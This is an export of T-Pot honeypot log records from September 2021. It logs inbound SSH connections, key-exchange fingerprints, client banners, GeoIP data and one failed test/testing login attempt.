23986	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:27.049682+03	2021-09-20 14:15:08.21047+03	{"_id": "PwbkAnwBvYTbRNuElRHe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "f5ecae34b6bd", "@version": "1", "timestamp": "2021-09-20T11:08:27.049682Z", "@timestamp": "2021-09-20T11:08:27.049Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23991	176.122.188.154	109.199.241.180	Fatt	2021-09-20 14:08:27.963916+03	2021-09-20 14:15:08.21647+03	{"_id": "SgbkAnwBvYTbRNuEmREj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "176.122.188.154", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 44978, "dest_port": 22, "timestamp": "2021-09-20T11:08:27.963916", "@timestamp": "2021-09-20T11:08:27.963Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
23987	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:27.095403+03	2021-09-20 14:15:08.211471+03	{"_id": "QAbkAnwBvYTbRNuElRHe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "82de426fe8de", "@version": "1", "timestamp": "2021-09-20T11:08:27.095403Z", "@timestamp": "2021-09-20T11:08:27.095Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23988	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:27.254552+03	2021-09-20 14:15:08.21347+03	{"_id": "QQbkAnwBvYTbRNuElRHe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "7bf7f45872e1", "@version": "1", "timestamp": "2021-09-20T11:08:27.254552Z", "@timestamp": "2021-09-20T11:08:27.254Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23989	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:08:27.093136+03	2021-09-20 14:15:08.21447+03	{"_id": "QgbkAnwBvYTbRNuEmBE8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 314659700350320, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 48228, "dest_port": 22, "timestamp": "2021-09-20T11:08:27.093136Z", "@timestamp": "2021-09-20T11:08:27.093Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23990	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:27.093299+03	2021-09-20 14:15:08.21547+03	{"_id": "SQbkAnwBvYTbRNuEmREj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48228, "timestamp": "2021-09-20T11:08:27.093299", "@timestamp": "2021-09-20T11:08:27.093Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23992	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:08:27.790556+03	2021-09-20 14:15:08.21747+03	{"_id": "SwbkAnwBvYTbRNuEmRHE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 176.122.188.154:44978 (192.168.176.2:22) [session: 8104c532e8e7]", "session": "8104c532e8e7", "@version": "1", "protocol": "ssh", "src_port": 44978, "dest_port": 22, "timestamp": "2021-09-20T11:08:27.790556Z", "@timestamp": "2021-09-20T11:08:27.790Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
23993	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:08:27.79358+03	2021-09-20 14:15:08.219471+03	{"_id": "UQbkAnwBvYTbRNuEmRHE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "8104c532e8e7", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:08:27.793580Z", "@timestamp": "2021-09-20T11:08:27.793Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
23994	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:08:27.964451+03	2021-09-20 14:15:08.220471+03	{"_id": "UgbkAnwBvYTbRNuEmRHE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "8104c532e8e7", "@version": "1", "timestamp": "2021-09-20T11:08:27.964451Z", "@timestamp": "2021-09-20T11:08:27.964Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
23995	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:28.208707+03	2021-09-20 14:15:08.22247+03	{"_id": "UwbkAnwBvYTbRNuEmRHE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "7c8c3c6da94b", "@version": "1", "duration": 2.7254445552825928, "timestamp": "2021-09-20T11:08:28.208707Z", "@timestamp": "2021-09-20T11:08:28.208Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23996	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:28.288552+03	2021-09-20 14:15:08.223471+03	{"_id": "VAbkAnwBvYTbRNuEmRHE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [test/testing] failed", "session": "82de426fe8de", "@version": "1", "password": "testing", "username": "test", "timestamp": "2021-09-20T11:08:28.288552Z", "@timestamp": "2021-09-20T11:08:28.288Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
